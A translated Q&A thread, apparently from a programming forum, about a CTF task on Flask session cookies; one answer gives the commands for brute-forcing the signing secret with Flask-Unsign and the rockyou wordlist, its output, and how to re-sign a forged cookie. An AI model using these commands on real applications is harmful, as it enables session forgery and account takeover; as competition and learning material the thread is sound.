Flask 会话 Cookie 篡改

问题描述 投票:0回答:2

我正在参加 CTF 竞赛,并在尝试操作 Flask 会话 cookie 时遇到了问题。

具体来说,我能够使用 Flask 会话 Cookie 解码器/编码器成功解码它(无需密钥):

python flask_session_cookie_manager3.py decode -c ".eJwtjkGKAzEMBL-S9TkHy5Yte96wP1jCIEvyJmxIYDxzCvn7-pBTUw1N18ut_c7jasMtPy932me4cYjYGO7svp-_t8fpw_24f7nL-3Kem83G1S37dtikm7rFQUJBRSOL1GKWVCoRC3ED7VAz9FKsVi9aO2RgJmgSi88VuQCmXghjaRZjSCqBDTm3qE1LAh8bGnuG3jAHCV4iZlAoPkhiAGghT9v1GLZ9bCbK2Pq6P__sMQuev2ZcKQFkMinJWhRSqB4hYyWv2oWre_8D5vtQyA.ZTUbZQ.erv_yZmYg44tiaJ0u8fqKailHUc"

如下所示:

b'{"_flashes":[{" t":["success","Login successful!"]}],"_fresh":true,"_id":"154c4d4e7e37b36c58977ac7ab1df1961f88e990cd9f161aa71bc380694a8145f87438be3325dc2ae4a6b3dbd85103b4ea0a1fb462c20c3461d1802c5a111b26","_user_id":"1","csrf_token":"acd9eea9751167ec85eb3c7d1904164970ddfca9"}'

但是当我尝试操纵它并再次签名时,我发现我必须使用原始密钥。

这是为什么?

flask session-cookies sha1 ctf
2个回答
1
投票

正如 Elias 已经提到的,cookie 可以在没有密钥的情况下被解码,但出于明显的安全原因,没有密钥就无法对其进行操作。如果 cookie 篡改如此简单,那么没有人会使用 Flask 会话。因此,你的任务是找到密钥,并且由于SHA-1哈希函数是不可逆的,所以你应该将注意力转向人为因素。

话虽这么说,你必须使用暴力来“猜测”比赛粗心程序员的密钥,幸运的是,Flask-Unsign可以帮助你。

您可以使用以下命令通过pip安装它:

pip3 install flask-unsign

但在使用它之前,您需要一个像 rockyou 这样的单词列表,您可以使用如下命令从 Kali Linux GitLab 存储库下载该单词列表:

curl -JO https://gitlab.com/kalilinux/packages/wordlists/-/raw/kali/master/rockyou.txt.gz && gunzip rockyou.txt.gz
  • -J, --remote-header-name:在本地保存文件时,使用服务器指定的 Content-Disposition 文件名,而不是从 URL 中提取文件名。
  • -O, --remote-name:使用服务器指定的文件名将输出写入本地文件,其名称与获取的远程文件相同。

现在您可以使用以下命令执行暴力攻击:

flask-unsign --unsign --cookie '.eJwtjkGKAzEMBL-S9TkHy5Yte96wP1jCIEvyJmxIYDxzCvn7-pBTUw1N18ut_c7jasMtPy932me4cYjYGO7svp-_t8fpw_24f7nL-3Kem83G1S37dtikm7rFQUJBRSOL1GKWVCoRC3ED7VAz9FKsVi9aO2RgJmgSi88VuQCmXghjaRZjSCqBDTm3qE1LAh8bGnuG3jAHCV4iZlAoPkhiAGghT9v1GLZ9bCbK2Pq6P__sMQuev2ZcKQFkMinJWhRSqB4hYyWv2oWre_8D5vtQyA.ZTUbZQ.erv_yZmYg44tiaJ0u8fqKailHUc' --no-literal-eval -w rockyou.txt   
  • 使用
    --no-literal-eval
    参数是因为 Flask-Unsign 默认假定给定单词列表中的每个单词都用引号引起来。然而,rockyou 单词表却并非如此。

并在数千次尝试后找到密钥:

[*] Session decodes to: {'_flashes': [('success', 'Login successful!')], '_fresh': True, '_id': '154c4d4e7e37b36c58977ac7ab1df1961f88e990cd9f161aa71bc380694a8145f87438be3325dc2ae4a6b3dbd85103b4ea0a1fb462c20c3461d1802c5a111b26', '_user_id': '1', 'csrf_token': 'acd9eea9751167ec85eb3c7d1904164970ddfca9'}                       
[*] Starting brute-forcer with 8 threads..                                                                                                     
[+] Found secret key after 175360 attempts                                                                                                     
b'Galaxy'

最后,找到密钥后,您可以使用它根据您的需要使用修改后的会话数据来签署您自己的cookie:

flask-unsign --sign --cookie "modified session data here" --secret 'Galaxy'

0
投票

您所描述的是设计上的预期行为 - cookie 可以在没有密钥的情况下进行解码,但如果没有密钥则无法对其进行修改。

来自文档

如果您设置了 Flask.secret_key (或从 SECRET_KEY 配置它),您可以在 Flask 应用程序中使用会话。会话使得记住从一个请求到另一个请求的信息成为可能。 Flask 执行此操作的方式是使用签名 cookie。用户可以查看会话内容,但无法修改它,除非他们知道密钥,因此请确保将其设置为复杂且无法猜测的内容。

© www.soinside.com 2019 - 2024. All rights reserved.